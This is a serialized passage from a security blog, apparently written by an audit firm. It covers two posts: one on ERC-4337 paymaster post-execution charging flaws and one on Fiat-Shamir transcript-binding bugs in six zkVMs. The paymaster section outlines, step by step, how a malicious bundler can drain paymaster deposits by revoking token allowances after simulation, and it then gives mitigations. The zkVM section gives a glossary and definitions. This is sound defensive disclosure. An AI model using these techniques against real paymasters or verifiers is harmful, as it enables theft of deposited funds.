ctx.exchangeRate) ",{"type":23,"tag":314,"props":106634,"children":106635},{"style":354},[106636],{"type":28,"value":3835},{"type":23,"tag":314,"props":106638,"children":106639},{"style":1054},[106640],{"type":28,"value":106641}," 1e18",{"type":23,"tag":314,"props":106643,"children":106644},{"style":338},[106645],{"type":28,"value":2278},{"type":23,"tag":314,"props":106647,"children":106648},{"class":316,"line":1899},[106649],{"type":23,"tag":314,"props":106650,"children":106651},{"emptyLinePlaceholder":18},[106652],{"type":28,"value":1088},{"type":23,"tag":314,"props":106654,"children":106655},{"class":316,"line":1944},[106656,106660,106665,106669,106673,106677,106681,106685,106689,106693,106697],{"type":23,"tag":314,"props":106657,"children":106658},{"style":2284},[106659],{"type":28,"value":2527},{"type":23,"tag":314,"props":106661,"children":106662},{"style":338},[106663],{"type":28,"value":106664}," (ctx.recipient ",{"type":23,"tag":314,"props":106666,"children":106667},{"style":354},[106668],{"type":28,"value":1196},{"type":23,"tag":314,"props":106670,"children":106671},{"style":2674},[106672],{"type":28,"value":5505},{"type":23,"tag":314,"props":106674,"children":106675},{"style":338},[106676],{"type":28,"value":341},{"type":23,"tag":314,"props":106678,"children":106679},{"style":1054},[106680],{"type":28,"value":1600},{"type":23,"tag":314,"props":106682,"children":106683},{"style":338},[106684],{"type":28,"value":2343},{"type":23,"tag":314,"props":106686,"children":106687},{"style":354},[106688],{"type":28,"value":72449},{"type":23,"tag":314,"props":106690,"children":106691},{"style":338},[106692],{"type":28,"value":106614},{"type":23,"tag":314,"props":106694,"children":106695},{"style":354},[106696],{"type":28,"value":9710},{"type":23,"tag":314,"props":106698,"children":106699},{"style":338},[106700],{"type":28,"value":106701}," costInToken) {\n",{"type":23,"tag":314,"props":106703,"children":106704},{"class":316,"line":2008},[106705,106710,106714,106719,106723],{"type":23,"tag":314,"props":106706,"children":106707},{"style":338},[106708],{"type":28,"value":106709}," SafeTransferLib.",{"type":23,"tag":314,"props":106711,"children":106712},{"style":332},[106713],{"type":28,"value":102890},{"type":23,"tag":314,"props":106715,"children":106716},{"style":338},[106717],{"type":28,"value":106718},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":23,"tag":314,"props":106720,"children":106721},{"style":354},[106722],{"type":28,"value":1051},{"type":23,"tag":314,"props":106724,"children":106725},{"style":338},[106726],{"type":28,"value":106727}," costInToken);\n",{"type":23,"tag":314,"props":106729,"children":106730},{"class":316,"line":2043},[106731],{"type":23,"tag":314,"props":106732,"children":106733},{"style":338},[106734],{"type":28,"value":2602},{"type":23,"tag":314,"props":106736,"children":106737},{"class":316,"line":22803},[106738],{"type":23,"tag":314,"props":106739,"children":106740},{"emptyLinePlaceholder":18},[106741],{"type":28,"value":1088},{"type":23,"tag":314,"props":106743,"children":106744},{"class":316,"line":22845},[106745,106750,106754],{"type":23,"tag":314,"props":106746,"children":106747},{"style":2284},[106748],{"type":28,"value":106749}," emit",{"type":23,"tag":314,"props":106751,"children":106752},{"style":332},[106753],{"type":28,"value":103624},{"type":23,"tag":314,"props":106755,"children":106756},{"style":338},[106757],{"type":28,"value":106758},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":23,"tag":314,"props":106760,"children":106761},{"class":316,"line":22878},[106762],{"type":23,"tag":314,"props":106763,"children":106764},{"style":338},[106765],{"type":28,"value":2610},{"type":23,"tag":24,"props":106767,"children":106768},{},[106769,106771,106776,106778,106784,106786,106792,106794,106799,106801,106806],{"type":28,"value":106770},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":23,"tag":94,"props":106772,"children":106774},{"className":106773},[],[106775],{"type":28,"value":102890},{"type":28,"value":106777},". Note that ",{"type":23,"tag":94,"props":106779,"children":106781},{"className":106780},[],[106782],{"type":28,"value":106783},"preFundCharged",{"type":28,"value":106785}," can be zero, as users can opt out of any ",{"type":23,"tag":94,"props":106787,"children":106789},{"className":106788},[],[106790],{"type":28,"value":106791},"preFund",{"type":28,"value":106793}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":23,"tag":94,"props":106795,"children":106797},{"className":106796},[],[106798],{"type":28,"value":103691},{"type":28,"value":106800}," call inside ",{"type":23,"tag":94,"props":106802,"children":106804},{"className":106803},[],[106805],{"type":28,"value":104775},{"type":28,"value":106807}," will revert and the paymaster won't be able to collect payment from the user.",{"type":23,"tag":24,"props":106809,"children":106810},{},[106811,106813,106818,106820,106826,106828,106834],{"type":28,"value":106812},"However, even when ",{"type":23,"tag":94,"props":106814,"children":106816},{"className":106815},[],[106817],{"type":28,"value":103691},{"type":28,"value":106819}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":23,"tag":94,"props":106821,"children":106823},{"className":106822},[],[106824],{"type":28,"value":106825},"requiredPrefund",{"type":28,"value":106827}," was taken from the paymaster's ",{"type":23,"tag":31,"props":106829,"children":106832},{"href":106830,"rel":106831},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[35],[106833],{"type":28,"value":61215},{"type":28,"value":282},{"type":23,"tag":24,"props":106836,"children":106837},{},[106838,106840,106845],{"type":28,"value":106839},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":23,"tag":94,"props":106841,"children":106843},{"className":106842},[],[106844],{"type":28,"value":103691},{"type":28,"value":106846}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":23,"tag":84,"props":106848,"children":106849},{},[106850,106868,106887,106898,106903],{"type":23,"tag":88,"props":106851,"children":106852},{},[106853,106855,106860,106862],{"type":28,"value":106854},"The bundler creates a ",{"type":23,"tag":94,"props":106856,"children":106858},{"className":106857},[],[106859],{"type":28,"value":101434},{"type":28,"value":106861}," with an intentionally high ",{"type":23,"tag":94,"props":106863,"children":106865},{"className":106864},[],[106866],{"type":28,"value":106867},"gasPrice",{"type":23,"tag":88,"props":106869,"children":106870},{},[106871,106873,106878,106880,106885],{"type":28,"value":106872},"The bundler ensures the ",{"type":23,"tag":94,"props":106874,"children":106876},{"className":106875},[],[106877],{"type":28,"value":103691},{"type":28,"value":106879}," call will fail by revoking the paymaster's token allowance before ",{"type":23,"tag":94,"props":106881,"children":106883},{"className":106882},[],[106884],{"type":28,"value":103691},{"type":28,"value":106886}," executes",{"type":23,"tag":88,"props":106888,"children":106889},{},[106890,106891,106896],{"type":28,"value":62607},{"type":23,"tag":94,"props":106892,"children":106894},{"className":106893},[],[106895],{"type":28,"value":103691},{"type":28,"value":106897}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":23,"tag":88,"props":106899,"children":106900},{},[106901],{"type":28,"value":106902},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":23,"tag":88,"props":106904,"children":106905},{},[106906],{"type":28,"value":106907},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":23,"tag":24,"props":106909,"children":106910},{},[106911,106913,106918,106920,106925],{"type":28,"value":106912},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":23,"tag":94,"props":106914,"children":106916},{"className":106915},[],[106917],{"type":28,"value":101463},{"type":28,"value":106919}," designed to fail during ",{"type":23,"tag":94,"props":106921,"children":106923},{"className":106922},[],[106924],{"type":28,"value":103691},{"type":28,"value":106926}," while maximizing the gas costs they can charge to the paymaster.",{"type":23,"tag":24,"props":106928,"children":106929},{},[106930,106932,106937,106939,106944,106946,106952,106954,106959],{"type":28,"value":106931},"Some paymasters try to protect against this by simulating the ",{"type":23,"tag":94,"props":106933,"children":106935},{"className":106934},[],[106936],{"type":28,"value":101434},{"type":28,"value":106938}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":23,"tag":94,"props":106940,"children":106942},{"className":106941},[],[106943],{"type":28,"value":101434},{"type":28,"value":106945}," is submitted via ",{"type":23,"tag":94,"props":106947,"children":106949},{"className":106948},[],[106950],{"type":28,"value":106951},"handleOps",{"type":28,"value":106953},". This means the ",{"type":23,"tag":94,"props":106955,"children":106957},{"className":106956},[],[106958],{"type":28,"value":103691},{"type":28,"value":106960}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":23,"tag":24,"props":106962,"children":106963},{},[106964],{"type":28,"value":106965},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":23,"tag":24,"props":106967,"children":106968},{},[106969],{"type":28,"value":106970},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":23,"tag":24,"props":106972,"children":106973},{},[106974],{"type":28,"value":106975},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":23,"tag":54,"props":106977,"children":106978},{"id":28180},[106979],{"type":28,"value":18185},{"type":23,"tag":24,"props":106981,"children":106982},{},[106983],{"type":28,"value":106984},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":23,"tag":84,"props":106986,"children":106987},{},[106988,106993,106998,107003,107008],{"type":23,"tag":88,"props":106989,"children":106990},{},[106991],{"type":28,"value":106992},"Always collect full payment during validation, not after execution",{"type":23,"tag":88,"props":106994,"children":106995},{},[106996],{"type":28,"value":106997},"Be conservative with gas estimations and include safety margins",{"type":23,"tag":88,"props":106999,"children":107000},{},[107001],{"type":28,"value":107002},"Carefully validate all user inputs and token transfers",{"type":23,"tag":88,"props":107004,"children":107005},{},[107006],{"type":28,"value":107007},"Test extensively, including simulation of malicious behavior",{"type":23,"tag":88,"props":107009,"children":107010},{},[107011,107013,107018],{"type":28,"value":107012},"Always review changes in new ",{"type":23,"tag":94,"props":107014,"children":107016},{"className":107015},[],[107017],{"type":28,"value":101515},{"type":28,"value":107019}," versions, as they may impact your paymaster's design and security assumptions",{"type":23,"tag":24,"props":107021,"children":107022},{},[107023,107025,107030,107032,107037,107039,107044],{"type":28,"value":107024},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":23,"tag":94,"props":107026,"children":107028},{"className":107027},[],[107029],{"type":28,"value":101515},{"type":28,"value":107031}," contract's behavior could potentially break existing ",{"type":23,"tag":94,"props":107033,"children":107035},{"className":107034},[],[107036],{"type":28,"value":101587},{"type":28,"value":107038}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":23,"tag":94,"props":107040,"children":107042},{"className":107041},[],[107043],{"type":28,"value":101515},{"type":28,"value":107045}," versions.",{"type":23,"tag":24,"props":107047,"children":107048},{},[107049],{"type":28,"value":107050},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":23,"tag":24,"props":107052,"children":107053},{},[107054],{"type":28,"value":107055},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":23,"tag":2096,"props":107057,"children":107058},{},[107059],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":107061},[107062,107063,107064,107071,107076,107077],{"id":101349,"depth":370,"text":101352},{"id":101365,"depth":370,"text":101368},{"id":101404,"depth":370,"text":101407,"children":107065},[107066,107067,107068,107069,107070],{"id":101427,"depth":380,"text":101434},{"id":101468,"depth":380,"text":101471},{"id":101494,"depth":380,"text":101497},{"id":300,"depth":380,"text":101515},{"id":101587,"depth":380,"text":101598},{"id":101650,"depth":370,"text":107072,"children":107073},"Understanding the EntryPoint's Flow",[107074,107075],{"id":101706,"depth":380,"text":101709},{"id":101891,"depth":380,"text":101894},{"id":102134,"depth":370,"text":102140},{"id":103734,"depth":370,"text":103740,"children":107078},[107079,107080],{"id":103794,"depth":380,"text":103797},{"id":103854,"depth":380,"text":103857},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":107085,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":107086,"description":107087,"date":107088,"author":107089,"image":107092,"isFeatured":18,"onBlogPage":18,"tags":107094,"body":107096,"_type":2117,"_id":122901,"_source":2119,"_file":122902,"_stem":122903,"_extension":2122},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[107090,107091],"himanshu","valter",{"src":107093,"width":96520,"height":12871},"/posts/zkvms-unfaithful-claims/title.png",[107095],"zkVM",{"type":20,"children":107097,"toc":122865},[107098,107103,107145,107158,107161,107167,107172,107300,107303,107309,107315,107320,107352,107500,107505,107628,107639,107650,107673,107684,107689,107722,107730,107735,107738,107744,107749,107755,107760,107765,107773,107791,107932,107937,107943,108036,108770,108838,108849,108857,109331,109337,109776,110116,110269,110274,111162,111318,111324,111416,111421,112006,112456,112532,112538,112543,112612,112622,112638,112648,112709,113128,113160,113170,113345,113350,113360,113960,114148,114166,114169,114175,114180,114188,114220,114582,114587,114672,114675,114681,114689,114694,114697,114703,114708,114716,114724,114732,114740,114773,114781,114789,114880,115131,115458,115466,115496,115666,115992,115997,116002,116019,116022,116027,116032,116044,116056,116647,116659,116671,116678,116686,116698,116706,116721,116726,117006,117025,117120,117139,117155,117158,117164,117169,117174,117181,117189,117196,117204,117217,117235,117695,117797,117802,117807,117823,117826,117832,117837,117849,117860,117865,118255,118262,118270,118295,118315,118571,118582,118601,118985,119331,119561,119720,119880,120448,120453,120479,120482,120488,120493,120500,120508,120521,120593,120604,120612,120622,120630,120641,120915,121004,121033,121036,121041,121175,121187,121194,121199,121352,121378,121385,121393,121398,121464,121469,121859,121946,121962,121965,121971,121976,121982,122082,122141,122146,122152,122157,122165,122170,122176,122181,122186,122192,122197,122200,122206,122212,122217,122222,122227,122232,122237,122240,122246,122409,122414,122417,122422,122433,122750,122755,122779,122784,122802,122807,122810,122816,122821,122826,122836,122841,122851,122861],{"type":23,"tag":24,"props":107099,"children":107100},{},[107101],{"type":28,"value":107102},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":23,"tag":24,"props":107104,"children":107105},{},[107106,107108,107113,107114,107119,107120,107125,107126,107131,107132,107137,107138,107143],{"type":28,"value":107107},"We found six systems where this faithfulness breaks. Across ",{"type":23,"tag":721,"props":107109,"children":107110},{},[107111],{"type":28,"value":107112},"Jolt",{"type":28,"value":778},{"type":23,"tag":721,"props":107115,"children":107116},{},[107117],{"type":28,"value":107118},"Nexus",{"type":28,"value":778},{"type":23,"tag":721,"props":107121,"children":107122},{},[107123],{"type":28,"value":107124},"Cairo-M",{"type":28,"value":778},{"type":23,"tag":721,"props":107127,"children":107128},{},[107129],{"type":28,"value":107130},"Ceno",{"type":28,"value":778},{"type":23,"tag":721,"props":107133,"children":107134},{},[107135],{"type":28,"value":107136},"Expander",{"type":28,"value":5743},{"type":23,"tag":721,"props":107139,"children":107140},{},[107141],{"type":28,"value":107142},"Binius64",{"type":28,"value":107144},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":23,"tag":24,"props":107146,"children":107147},{},[107148,107150,107156],{"type":28,"value":107149},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":23,"tag":31,"props":107151,"children":107153},{"href":107152},"#challenges",[107154],{"type":28,"value":107155},"Challenges",{"type":28,"value":107157}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":23,"tag":18031,"props":107159,"children":107160},{},[],{"type":23,"tag":61,"props":107162,"children":107164},{"id":107163},"jargon-cheat-sheet",[107165],{"type":28,"value":107166},"Jargon Cheat Sheet",{"type":23,"tag":24,"props":107168,"children":107169},{},[107170],{"type":28,"value":107171},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":23,"tag":127,"props":107173,"children":107174},{},[107175,107185,107195,107205,107215,107225,107235,107245,107255,107265,107275,107285],{"type":23,"tag":88,"props":107176,"children":107177},{},[107178,107183],{"type":23,"tag":721,"props":107179,"children":107180},{},[107181],{"type":28,"value":107182},"Fiat-Shamir",{"type":28,"value":107184},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":23,"tag":88,"props":107186,"children":107187},{},[107188,107193],{"type":23,"tag":721,"props":107189,"children":107190},{},[107191],{"type":28,"value":107192},"Transcript",{"type":28,"value":107194},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":23,"tag":88,"props":107196,"children":107197},{},[107198,107203],{"type":23,"tag":721,"props":107199,"children":107200},{},[107201],{"type":28,"value":107202},"Polynomial Commitment",{"type":28,"value":107204},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":23,"tag":88,"props":107206,"children":107207},{},[107208,107213],{"type":23,"tag":721,"props":107209,"children":107210},{},[107211],{"type":28,"value":107212},"Sumcheck",{"type":28,"value":107214},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":23,"tag":88,"props":107216,"children":107217},{},[107218,107223],{"type":23,"tag":721,"props":107219,"children":107220},{},[107221],{"type":28,"value":107222},"MLE (Multilinear Extension)",{"type":28,"value":107224},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":23,"tag":88,"props":107226,"children":107227},{},[107228,107233],{"type":23,"tag":721,"props":107229,"children":107230},{},[107231],{"type":28,"value":107232},"Lookup / LogUp",{"type":28,"value":107234},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":23,"tag":88,"props":107236,"children":107237},{},[107238,107243],{"type":23,"tag":721,"props":107239,"children":107240},{},[107241],{"type":28,"value":107242},"AIR",{"type":28,"value":107244},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":23,"tag":88,"props":107246,"children":107247},{},[107248,107253],{"type":23,"tag":721,"props":107249,"children":107250},{},[107251],{"type":28,"value":107252},"STARK",{"type":28,"value":107254},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":23,"tag":88,"props":107256,"children":107257},{},[107258,107263],{"type":23,"tag":721,"props":107259,"children":107260},{},[107261],{"type":28,"value":107262},"FRI",{"type":28,"value":107264},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":23,"tag":88,"props":107266,"children":107267},{},[107268,107273],{"type":23,"tag":721,"props":107269,"children":107270},{},[107271],{"type":28,"value":107272},"OODS",{"type":28,"value":107274},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":23,"tag":88,"props":107276,"children":107277},{},[107278,107283],{"type":23,"tag":721,"props":107279,"children":107280},{},[107281],{"type":28,"value":107282},"GKR",{"type":28,"value":107284},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":23,"tag":88,"props":107286,"children":107287},{},[107288,107293,107295],{"type":23,"tag":721,"props":107289,"children":107290},{},[107291],{"type":28,"value":107292},"claimed_sum / opening_claim",{"type":28,"value":107294},": Prover-supplied values that feed into verification equations. ",{"type":23,"tag":721,"props":107296,"children":107297},{},[107298],{"type":28,"value":107299},"These are the usual suspects for binding bugs.",{"type":23,"tag":18031,"props":107301,"children":107302},{},[],{"type":23,"tag":61,"props":107304,"children":107306},{"id":107305},"what-are-we-even-breaking",[107307],{"type":28,"value":107308},"What Are We Even Breaking?",{"type":23,"tag":837,"props":107310,"children":107312},{"id":107311},"what-is-a-zkvm",[107313],{"type":28,"value":107314},"What is a zkVM?",{"type":23,"tag":24,"props":107316,"children":107317},{},[107318],{"type":28,"value":107319},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":23,"tag":24,"props":107321,"children":107322},{},[107323,107325,107350],{"type":28,"value":107324},"Formally, the verifier is convinced that there exists a valid trace ",{"type":23,"tag":94,"props":107326,"children":107328},{"className":107327},[3237,3238],[107329],{"type":23,"tag":314,"props":107330,"children":107332},{"className":107331},[3243],[107333],{"type":23,"tag":314,"props":107334,"children":107336},{"className":107335,"ariaHidden":1481},[3248],[107337],{"type":23,"tag":314,"props":107338,"children":107340},{"className":107339},[3253],[107341,107345],{"type":23,"tag":314,"props":107342,"children":107344},{"className":107343,"style":20820},[3258],[],{"type":23,"tag":314,"props":107346,"children":107348},{"className":107347,"style":20826},[3264,20825],[107349],{"type":28,"value":5242},{"type":28,"value":107351}," such that:",{"type":23,"tag":24,"props":107353,"children":107354},{},[107355],{"type":23,"tag":94,"props":107356,"children":107358},{"className":107357},[3237,3238],[107359],{"type":23,"tag":314,"props":107360,"children":107362},{"className":107361},[3243],[107363],{"type":23,"tag":314,"props":107364,"children":107366},{"className":107365,"ariaHidden":1481},[3248],[107367,107411,107486],{"type":23,"tag":314,"props":107368,"children":107370},{"className":107369},[3253],[107371,107375,107381,107385,107390,107394,107398,107403,107407],{"type":23,"tag":314,"props":107372,"children":107374},{"className":107373,"style":92214},[3258],[],{"type":23,"tag":314,"props":107376,"children":107378},{"className":107377},[3264],[107379],{"type":28,"value":107380},"∃",{"type":23,"tag":314,"props":107382,"children":107384},{"className":107383,"style":3442},[3344],[],{"type":23,"tag":314,"props":107386,"children":107388},{"className":107387,"style":20826},[3264,20825],[107389],{"type":28,"value":5242},{"type":23,"tag":314,"props":107391,"children":107393},{"className":107392,"style":3442},[3344],[],{"type":23,"tag":314,"props":107395,"children":107397},{"className":107396,"style":3442},[3344],[],{"type":23,"tag":314,"props":107399,"children":107401},{"className":107400},[3447],[107402],{"type":28,"value":3746},{"type":23,"tag":314,"props":107404,"children":107406},{"className":107405,"style":3442},[3344],[],{"type":23,"tag":314,"props":107408,"children":107410},{"className":107409,"style":3442},[3344],[],{"type":23,"tag":314,"props":107412,"children":107414},{"className":107413},[3253],[107415,107419,107430,107435,107440,107445,107449,107454,107459,107463,107468,107473,107477,107482],{"type":23,"tag":314,"props":107416,"children":107418},{"className":107417,"style":3365},[3258],[],{"type":23,"tag":314,"props":107420,"children":107422},{"className":107421},[3264],[107423],{"type":23,"tag":314,"props":107424,"children":107427},{"className":107425},[3264,107426],"mathsf",[107428],{"type":28,"value":107429},"VM",{"type":23,"tag":314,"props":107431,"children":107433},{"className":107432},[20954],[107434],{"type":28,"value":341},{"type":23,"tag":314,"props":107436,"children":107438},{"className":107437,"style":20826},[3264,20825],[107439],{"type":28,"value":20829},{"type":23,"tag":314,"props":107441,"children":107443},{"className":107442},[3376],[107444],{"type":28,"value":3379},{"type":23,"tag":314,"props":107446,"children":107448},{"className":107447,"style":3383},[3344],[],{"type":23,"tag":314,"props":107450,"children":107452},{"className":107451,"style":94319},[3264,20825],[107453],{"type":28,"value":5388},{"type":23,"tag":314,"props":107455,"children":107457},{"className":107456},[3376],[107458],{"type":28,"value":3379},{"type":23,"tag":314,"props":107460,"children":107462},{"className":107461,"style":3383},[3344],[],{"type":23,"tag":314,"props":107464,"children":107466},{"className":107465,"style":20826},[3264,20825],[107467],{"type":28,"value":5242},{"type":23,"tag":314,"props":107469,"children":107471},{"className":107470},[20976],[107472],{"type":28,"value":431},{"type":23,"tag":314,"props":107474,"children":107476},{"className":107475,"style":3442},[3344],[],{"type":23,"tag":314,"props":107478,"children":107480},{"className":107479},[3447],[107481],{"type":28,"value":21571},{"type":23,"tag":314,"props":107483,"children":107485},{"className":107484,"style":3442},[3344],[],{"type":23,"tag":314,"props":107487,"children":107489},{"className":107488},[3253],[107490,107494],{"type":23,"tag":314,"props":107491,"children":107493},{"className":107492,"style":20820},[3258],[],{"type":23,"tag":314,"props":107495,"children":107498},{"className":107496,"style":107497},[3264,20825],"margin-right:0.22222em;",[107499],{"type":28,"value":5418},{"type":23,"tag":24,"props":107501,"children":107502},{},[107503],{"type":28,"value":107504},"where:",{"type":23,"tag":127,"props":107506,"children":107507},{},[107508,107538,107568,107598],{"type":23,"tag":88,"props":107509,"children":107510},{},[107511,107536],{"type":23,"tag":94,"props":107512,"children":107514},{"className":107513},[3237,3238],[107515],{"type":23,"tag":314,"props":107516,"children":107518},{"className":107517},[3243],[107519],{"type":23,"tag":314,"props":107520,"children":107522},{"className":107521,"ariaHidden":1481},[3248],[107523],{"type":23,"tag":314,"props":107524,"children":107526},{"className":107525},[3253],[107527,107531],{"type":23,"tag":314,"props":107528,"children":107530},{"className":107529,"style":20820},[3258],[],{"type":23,"tag":314,"props":107532,"children":107534},{"className":107533,"style":20826},[3264,20825],[107535],{"type":28,"value":20829},{"type":28,"value":107537}," = program/circuit description (public)",{"type":23,"tag":88,"props":107539,"children":107540},{},[107541,107566],{"type":23,"tag":94,"props":107542,"children":107544},{"className":107543},[3237,3238],[107545],{"type":23,"tag":314,"props":107546,"children":107548},{"className":107547},[3243],[107549],{"type":23,"tag":314,"props":107550,"children":107552},{"className":107551,"ariaHidden":1481},[3248],[107553],{"type":23,"tag":314,"props":107554,"children":107556},{"className":107555},[3253],[107557,107561],{"type":23,"tag":314,"props":107558,"children":107560},{"className":107559,"style":20820},[3258],[],{"type":23,"tag":314,"props":107562,"children":107564},{"className":107563,"style":94319},[3264,20825],[107565],{"type":28,"value":5388},{"type":28,"value":107567}," = public input",{"type":23,"tag":88,"props":107569,"children":107570},{},[107571,107596],{"type":23,"tag":94,"props":107572,"children":107574},{"className":107573},[3237,3238],[107575],{"type":23,"tag":314,"props":107576,"children":107578},{"className":107577},[3243],[107579],{"type":23,"tag":314,"props":107580,"children":107582},{"className":107581,"ariaHidden":1481},[3248],[107583],{"type":23,"tag":314,"props":107584,"children":107586},{"className":107585},[3253],[107587,107591],{"type":23,"tag":314,"props":107588,"children":107590},{"className":107589,"style":20820},[3258],[],{"type":23,"tag":314,"props":107592,"children":107594},{"className":107593,"style":107497},[3264,20825],[107595],{"type":28,"value":5418},{"type":28,"value":107597}," = claimed public output",{"type":23,"tag":88,"props":107599,"children":107600},{},[107601,107626],{"type":23,"tag":94,"props":107602,"children":107604},{"className":107603},[3237,3238],[107605],{"type":23,"tag":314,"props":107606,"children":107608},{"className":107607},[3243],[107609],{"type":23,"tag":314,"props":107610,"children":107612},{"className":107611,"ariaHidden":1481},[3248],[107613],{"type":23,"tag":314,"props":107614,"children":107616},{"className":107615},[3253],[107617,107621],{"type":23,"tag":314,"props":107618,"children":107620},{"className":107619,"style":20820},[3258],[],{"type":23,"tag":314,"props":107622,"children":107624},{"className":107623,"style":20826},[3264,20825],[107625],{"type":28,"value":5242},{"type":28,"value":107627}," = private witness/trace (registers, memory history, intermediate values)",{"type":23,"tag":24,"props":107629,"children":107630},{},[107631,107633,107637],{"type":28,"value":107632},"The verifier does ",{"type":23,"tag":721,"props":107634,"children":107635},{},[107636],{"type":28,"value":17727},{"type":28,"value":107638}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":23,"tag":24,"props":107640,"children":107641},{},[107642,107644,107649],{"type":28,"value":107643},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":23,"tag":721,"props":107645,"children":107646},{},[107647],{"type":28,"value":107648},"soundness",{"type":28,"value":3746},{"type":23,"tag":127,"props":107651,"children":107652},{},[107653,107663],{"type":23,"tag":88,"props":107654,"children":107655},{},[107656,107661],{"type":23,"tag":721,"props":107657,"children":107658},{},[107659],{"type":28,"value":107660},"Completeness",{"type":28,"value":107662},": honest execution verifies.",{"type":23,"tag":88,"props":107664,"children":107665},{},[107666,107671],{"type":23,"tag":721,"props":107667,"children":107668},{},[107669],{"type":28,"value":107670},"Soundness",{"type":28,"value":107672},": false execution should not verify.",{"type":23,"tag":24,"props":107674,"children":107675},{},[107676,107678,107682],{"type":28,"value":107677},"We are breaking ",{"type":23,"tag":721,"props":107679,"children":107680},{},[107681],{"type":28,"value":107648},{"type":28,"value":107683}," in all six systems.",{"type":23,"tag":24,"props":107685,"children":107686},{},[107687],{"type":28,"value":107688},"In all six codebases, verification follows this abstract flow:",{"type":23,"tag":84,"props":107690,"children":107691},{},[107692,107697,107702,107707,107712,107717],{"type":23,"tag":88,"props":107693,"children":107694},{},[107695],{"type":28,"value":107696},"Fix public statement data.",{"type":23,"tag":88,"props":107698,"children":107699},{},[107700],{"type":28,"value":107701},"Parse proof payload (commitments, reduction messages, openings).",{"type":23,"tag":88,"props":107703,"children":107704},{},[107705],{"type":28,"value":107706},"Rebuild Fiat-Shamir challenges from transcript 